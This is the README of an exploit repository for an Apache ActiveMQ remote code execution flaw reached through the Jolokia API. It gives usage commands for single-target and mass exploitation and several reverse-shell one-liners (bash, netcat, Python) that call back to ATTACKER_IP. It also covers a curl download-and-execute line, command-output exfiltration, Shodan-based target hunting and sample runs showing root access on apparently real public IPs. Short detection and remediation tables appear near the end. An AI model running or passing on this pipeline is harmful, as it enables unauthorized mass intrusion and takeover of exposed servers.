
Exploit for Apache ActiveMQ RCE via Jolokia API (CVE-2026-34197) with command output capture, mass scanning, and auto-exploitation.
Overview • Details • Attack Flow • Quick Start • ATTACKER_IP Guide • Usage • Output Capture • Scanner • Hunting • Detection • Remediation
CVE-2026-34197 is a critical Remote Code Execution (RCE) vulnerability in Apache ActiveMQ Classic that allows an authenticated attacker to execute arbitrary operating system commands through the Jolokia API exposed on the web console.
The vulnerability has existed for over 13 years and resides in the interaction between Jolokia (HTTP-JMX bridge), ActiveMQ MBeans, network connectors, and the VM transport.
[!CAUTION] This is a first public PoC developed by KONDOR DEV SECURITY. Use only in authorized security assessments.
id, whoami, cat /etc/passwd) automatically display their output in your terminalversion_check.py) — multithreaded version detection + targeted exploitation| CVE ID | CVE-2026-34197 |
| Severity | |
| Type | Remote Code Execution (RCE) |
| CWE | CWE-20 (Improper Input Validation) / CWE-94 (Code Injection) |
| Affected | ActiveMQ Classic < 5.19.4 and 6.0.0 — 6.2.2 |
| Patched | 5.19.4 / 6.2.3 |
| Auth Required | Yes (default credentials admin:admin are common) |
| No Auth Needed | 6.0.0 — 6.1.1 (due to CVE-2024-32114) |
| Default Port | 8161 (web console) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER
──────── ───────────────
│ │
[1] │── POST /api/jolokia/ ──────────────────>│
│ addNetworkConnector( │
│ vm://rce?brokerConfig= │
│ xbean:http://ATTACKER/payload.xml) │
│ │
│ [2] │── Creates VM broker
│ │── Fetches remote XML
│ │
[3] │<── GET /payload.xml ─────────────────────│
│── Serves malicious Spring XML ─────────>│
│ │
│ [4] │── Spring instantiates beans
│ │── Runtime.exec(COMMAND)
│ │── ** RCE ACHIEVED **
│ │
[5] │<── POST /output (command stdout) ────────│ (auto, for simple commands)
│── Displays command output │
│ │
| Step | Action | Component |
|---|---|---|
| 1 | Attacker sends POST to /api/jolokia/ invoking addNetworkConnector on the Broker MBean | Jolokia API |
| 2 | ActiveMQ processes the vm:// transport URI and creates an ephemeral broker with brokerConfig pointing to a remote URL | VM Transport |
| 3 | The xbean: scheme triggers download of a Spring XML configuration file from the attacker's server | Spring / XBean |
| 4 | Spring instantiates all beans in the XML, including one that calls Runtime.getRuntime().exec() | Spring Context |
| 5 | For simple commands, the output is captured and sent back via HTTP POST to the attacker's listener (automatic) | Output Capture |
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
# Python 3.8+ required
pip install requests
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
# Single target
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
# Mass scan from file
python exploit.py -T targets.txt -l YOUR_IP -c "id"
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP (-l / --lhost)The -l (or --lhost) parameter is critical for the exploit to work. It specifies the IP address where your machine will serve the malicious Spring XML payload. The target ActiveMQ server must be able to reach this IP over the network to download the payload.
ATTACKER_IP?When the exploit fires, it tells ActiveMQ: "Download your configuration from http://ATTACKER_IP:8888/payload.xml". ActiveMQ then makes an outbound HTTP request to your machine. If it can't reach you, the exploit fails silently.
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
ATTACKER_IP| Scenario | How to find it | Example |
|---|---|---|
| Same LAN (lab, internal pentest) | Your local/private IP | ip a → 192.168.1.50 |
| VPN (HTB, THM, internal network) | Your VPN tunnel IP | ip a show tun0 → 10.10.14.23 |
| Remote target over Internet | Your public IP | curl ifconfig.me → 203.0.113.42 |
| Cloud VPS (attacking from a server) | The VPS public IP | Check your cloud provider dashboard |
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| Mistake | Why it fails | Fix |
|---|---|---|
Using 127.0.0.1 or localhost | The target tries to download from itself, not from you | Use your real network IP |
Using a private IP (192.168.x.x) for an Internet target | The target can't route to your private network | Use your public IP or a VPS |
Using your public IP but port 8888 is blocked | Firewall/NAT drops the inbound connection from the target | Open port 8888 in firewall/router, or use -lp with an open port |
Using the wrong interface IP (e.g., eth0 instead of tun0) | Target can't reach that network segment | Match the interface that has a route to the target |
Before running the exploit, confirm the target can reach your listener:
# 1. Start a quick listener on your machine
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
# 2. From another machine (or the target's network), try:
curl http://ATTACKER_IP:8888/
# If you see a connection in the listener → connectivity confirmed
# If timeout → check firewalls, NAT, routing
If you're behind a router/NAT and attacking an Internet-facing target:
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
# Linux (iptables)
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
# Linux (ufw)
sudo ufw allow 8888/tcp
# Windows (PowerShell as admin)
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT] The
ATTACKER_IPin-land inside reverse shell commands (/dev/tcp/ATTACKER_IP/4444) must be the same reachable IP. If you use a different IP in the reverse shell command, the shell will connect to the wrong place.
# Basic usage with default credentials (admin:admin)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
# Custom credentials
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
# Custom HTTP listener port
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
# No-auth mode (ActiveMQ 6.0.0 — 6.1.1 via CVE-2024-32114)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
# Override broker name (if auto-detection fails)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
The targets.txt file should contain one URL per line:
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
Mass scan features:
Reverse shells and commands with special characters (>, &, |, ;, $, etc.) are automatically base64-encoded to avoid XML/shell escaping issues.
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Note: Start your listener before running the exploit:
nc -lvnp 4444
Both exploit.py and version_check.py can automatically capture and display command output for simple commands like id, whoami, cat /etc/passwd, hostname, etc.
When you run a simple command, the exploit automatically wraps it to send stdout/stderr back to your listener via HTTP POST:
YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ)
─────────────────────────────── ─────────────────
1. ◄── GET /payload.xml ─────────────────── Downloads XML payload
2. (payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
3. ◄── POST /output ────────────────────── Sends command output back
4. Displays: "uid=0(root) gid=0(root)..."
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| Command type | Example | Behavior |
|---|---|---|
| Simple commands | id, whoami, cat /etc/passwd, ls -la, uname -a | Output captured and displayed automatically |
| Reverse shells | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | Detected as interactive — no wrapping, works as before |
| Commands using curl/wget | curl http://..., wget http://... | Detected as interactive — no wrapping, to avoid interference |
The detection is automatic. You don't need to pass any extra flags.
Output capture requires curl or wget on the target system. If neither is available:
[!TIP] Most Linux systems (and ActiveMQ Docker images) have
curlpre-installed. If output capture times out but RCE is confirmed, the target likely lacks bothcurlandwget.
| Flag | Description | Default |
|---|---|---|
-t, --target | Single target URL | — |
-T, --targets-file | File with target URLs (one per line) | — |
-l, --lhost | Attacker IP to serve the payload | required |
-lp, --lport | Local HTTP server port | 8888 |
-c, --command | OS command to execute | required |
-u, --user | Jolokia username | admin |
-p, --password | Jolokia password | admin |
--no-auth | Skip authentication | false |
--broker-name | Broker name override | auto-detect |
-o, --output | Output file for vulnerable targets | vulnerables.txt |
--timeout-wait | Seconds to wait for payload download | 15 |
Note:
-tand-Tare mutually exclusive. Use one or the other.
version_check.py)The recommended tool for multiple targets. A 2-phase pipeline that first detects ActiveMQ versions across all targets (fast, multithreaded), then automatically exploits only the vulnerable ones with real RCE verification via payload callback.
version_check.py vs exploit.py| Scenario | Tool | Why |
|---|---|---|
| You have a list of targets and want to find which are vulnerable | version_check.py | Scans versions first (fast), then exploits only vulnerable ones |
| You want to scan without exploiting (recon only) | version_check.py | Omit -l/-c for scan-only mode |
| You have a single confirmed target | exploit.py | Simpler, direct exploitation |
| You want to exploit one specific host right now | exploit.py | No scanning overhead |
| You have 100+ targets from Shodan/LeakIX | version_check.py | Multithreaded Phase 1 handles large lists in seconds |
┌─────────────────────────────────────────────────────────┐
│ PHASE 1 — Version Detection (fast, multithreaded) │
│ │
│ targets.txt ──→ 10 threads query Jolokia in parallel │
│ GET .../BrokerVersion │
│ │
│ For each target: │
│ 1. Try auth (admin:admin) │
│ 2. If 401 → retry without auth (CVE-2024-32114) │
│ 3. If brokerName=localhost fails → try wildcard (*) │
│ 4. Extract: version, real broker name, working auth │
│ 5. Classify: [VULNERABLE] or [PATCHED] │
│ │
│ Output: list of vulnerable candidates with metadata │
└──────────────────────┬──────────────────────────────────┘
│ only vulnerable targets
▼
┌─────────────────────────────────────────────────────────┐
│ PHASE 2 — RCE Verification (sequential, with callback) │
│ (only runs if -l and -c are provided) │
│ │
│ For each vulnerable target: │
│ 1. Generate Spring XML payload with command │
│ 2. Send addNetworkConnector via Jolokia │
│ 3. Wait for target to download payload (callback) │
│ 4. If callback received → RCE CONFIRMED │
│ │
│ Output: confirmados.txt with RCE-confirmed targets │
└─────────────────────────────────────────────────────────┘
The scanner classifies versions automatically based on the affected ranges:
| Version | Classification |
|---|---|
< 5.19.4 (e.g., 5.15.9, 5.18.6) | [VULNERABLE] |
>= 5.19.4 (e.g., 5.19.4, 5.20.0) | [PATCHED] |
6.0.0 through 6.2.2 | [VULNERABLE] |
>= 6.2.3 | [PATCHED] |
Create a targets.txt with one URL per line. Duplicates are removed automatically.
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] Use the Hunting Guides to find targets via Shodan, LeakIX, FOFA, Censys, or Google Dorks.
If you only want to identify which targets are vulnerable without exploiting them, omit -l and -c:
python version_check.py -T targets.txt
This runs only Phase 1. No HTTP server is started, no payloads are sent, no commands are executed. The output file will contain version info for each vulnerable target:
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
You can increase scan speed with more threads:
python version_check.py -T targets.txt --threads 20
To scan and exploit in one run, add -l (your ATTACKER_IP) and -c (command):
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
This runs both phases:
[VULNERABLE] ones (sequential, with callback verification)[!IMPORTANT]
ATTACKER_IPmust be reachable from the targets. The target ActiveMQ server will make an outbound HTTP request tohttp://ATTACKER_IP:8888/payload.xml. See the ATTACKER_IP guide for details on choosing the correct IP.
Confirmed vulnerable targets are saved incrementally to the output file (default: confirmados.txt):
http://52.234.160.12:8161 | 5.15.9 | admin
The format is: URL | version | auth_method. You can then use these individually with exploit.py for further post-exploitation.
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP works in version_check.pyThe -l parameter behaves exactly as in exploit.py, but with one key difference: the HTTP server is started once and reused across all targets in Phase 2.
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
Phase 1 does NOT require ATTACKER_IP — it only queries Jolokia for version info. You can run Phase 1 alone to recon without exposing your IP.
Phase 2 requires ATTACKER_IP — the targets must reach your HTTP server to download the payload. If a target can't reach you, it will time out (default: 15s) and be marked as "no callback received" — but this doesn't necessarily mean it's not vulnerable (firewalls may block outbound traffic).
| Flag | Description | Default |
|---|---|---|
-T, --targets-file | File with target URLs (one per line) | required |
-l, --lhost | Attacker IP for callback (enables Phase 2) | — |
-c, --command | Command to execute (enables Phase 2) | — |
-lp, --lport | Local HTTP server port | 8888 |
-o, --output | Output file for confirmed targets | confirmados.txt |
-u, --user | Jolokia username | admin |
-p, --password | Jolokia password | admin |
--no-auth | Skip authentication | false |
--threads | Concurrent threads for Phase 1 | 10 |
--timeout | Timeout per request in Phase 1 | 10s |
--wait | Seconds to wait for callback in Phase 2 | 15s |
Note: Both
-land-cmust be provided together to enable Phase 2. If either is missing, only Phase 1 (scan) runs.
brokerName=* wildcard responses, extracts real broker name from MBean keysadmin:admin fails (401), retries without auth (CVE-2024-32114)rce{random8} unique per target)-l/-c to just detect versions without exploiting[VULNERABLE] / [PATCHED] based on affected rangesversion_check.pyWhen using version_check.py to send a reverse shell, you need two things running simultaneously:
The listener port (nc -lvnp PORT) must match the port inside the reverse shell command (/dev/tcp/ATTACKER_IP/PORT).
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
# ──── Terminal 1: Start the listener FIRST ────
# The port here (4444) must match the port in the -c command
nc -lvnp 4444
# ──── Terminal 2: Run the scanner + exploit ────
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
You can use any port you want, as long as both sides match:
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
# Netcat reverse shell (listener: nc -lvnp 4444)
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell (listener: nc -lvnp 4444)
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
[!WARNING] Port confusion to avoid: The exploit uses two different ports for two different purposes:
-lp(default8888) — the HTTP server port where ActiveMQ downloads the XML payload. This is handled automatically by the script.- The port inside
/dev/tcp/.../4444— the reverse shell callback port where YOU listen withnc. This is your responsibility to open.These are independent. Don't confuse them. You need
nc -lvnp 4444for the shell, and the script handles:8888internally.
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| Phase 2 result | What it means | Next step |
|---|---|---|
RCE CONFIRMED + Command output: | Target executed the command and sent output back | Full success — you can see the output directly |
RCE CONFIRMED (no output) | Target downloaded payload but no output received | RCE works, but curl/wget may be missing on target; use a reverse shell |
No callback received within Ns | Target did not reach your HTTP server in time | Check ATTACKER_IP reachability, firewalls, or increase --wait |
Jolokia accepted (status=200) | Jolokia processed the request successfully | Good sign — wait for callback |
Jolokia status=500: ... | Jolokia returned an error | May still work (the XML download can happen despite 500); check logs |
HTTP 401 | Auth failed for this target | Target needs different credentials |
HTTP 403 | Jolokia is restricted | Target has ACLs — not exploitable with this method |
Connection refused / Timeout | Target is unreachable | Network issue or target is down |
# 1. Collect targets from Shodan (see Hunting Guides)
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
# 2. Format into targets.txt (one URL per line)
awk '{print "http://"$1}' raw_targets.txt > targets.txt
# 3. Phase 1 only — quick recon, no exploitation
python version_check.py -T targets.txt --threads 20
# Review output: which are vulnerable, which auth works
# 4. Full pipeline — scan + exploit with a safe command
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# 5. For confirmed targets, get reverse shells individually
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
Detailed guides for finding exposed Apache ActiveMQ instances using Shodan, LeakIX, FOFA, Censys, ZoomEye, and Google Dorks — including version-specific dorks, Jolokia detection, CLI/API usage, target validation steps, SIEM/IDS rules, and remediation priorities.
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed
+banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed
+software:"Apache ActiveMQ" +tag:"default-password" # Default creds
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] See the full guides in
docs/for version-specific dorks, geo filters, API examples, IDS rules, and step-by-step validation workflows.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
Note: The
rce*portion will contain random characters (e.g.,rcek4m2x9ab) as the exploit randomizes connector names.
| Indicator | Description |
|---|---|
POST /api/jolokia/ with addNetworkConnector | Exploitation attempt |
| Outbound HTTP GET from ActiveMQ process | Payload XML download |
| Outbound HTTP POST from ActiveMQ process (command output exfiltration) | Output capture callback |
vm:// URIs with brokerConfig=xbean:http | Malicious connector |
Unexpected child processes from Java/ActiveMQ (curl, wget, bash) | Command execution / output exfil |
| Priority | Action |
|---|---|
| P0 | Upgrade to ActiveMQ Classic 5.19.4 or 6.2.3 |
| P1 | Change default web console credentials |
| P2 | Restrict network access to port 8161 |
| P3 | Monitor broker logs for vm:// URIs with xbean:http patterns |
| Problem | Likely Cause | Solution |
|---|---|---|
No payload request received within 15s | Target can't reach your ATTACKER_IP | Verify connectivity (see ATTACKER_IP guide) |
Authentication failed (401) | Wrong credentials | Try --no-auth (ActiveMQ 6.0.0-6.1.1) or find correct creds |
Access forbidden (403) | Jolokia API is restricted | Target may have ACLs on /api/jolokia/ — not exploitable remotely |
Connection error / Could not connect | Target is down or port is wrong | Verify http://TARGET:8161/ is accessible |
Jolokia status=500: could not be registered in JMX | Previous exploit connector still registered | The exploit auto-retries with a new random name; try again |
| Reverse shell doesn't connect back | Different IP in -l vs shell command, or port not listening | Ensure same IP everywhere; start nc -lvnp PORT before exploiting |
No output received within 10s | Target lacks curl and wget, or command has no stdout | RCE still worked — use a reverse shell for full interaction |
| Output capture shows empty result | Command produced no output (e.g., touch /tmp/test) | Expected for commands with no stdout; use ls /tmp/test to verify |
OSError: Address already in use on port 8888 | Another process or previous run is using the port | Use -lp 9999 (or any free port), or kill the blocking process |
version_check.py Phase 1 is slow | Too few threads or high network latency | Increase --threads 20 or --threads 30 |
version_check.py shows [VULNERABLE] but Phase 2 fails | Target can't reach your IP, or firewall blocks outbound HTTP | Verify ATTACKER_IP; try --wait 30 for slow networks |
| Resource | Link |
|---|---|
| NVD | CVE-2026-34197 |
| Horizon3 Research | Technical Analysis |
| Apache Advisory | Security Advisory |
| Related CVE | CVE-2024-32114 — Jolokia No Auth |
| Related CVE | CVE-2023-46604 — OpenWire RCE |
[!WARNING] This proof-of-concept is provided strictly for educational and authorized security research purposes. Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for misuse.
Developed with expertise by KONDOR DEV SECURITY CORP
MIT License © 2026
version_check.py shows No Jolokia for all targets | Jolokia API is disabled or on a non-standard path | Verify manually with curl -u admin:admin http://TARGET:8161/api/jolokia/ |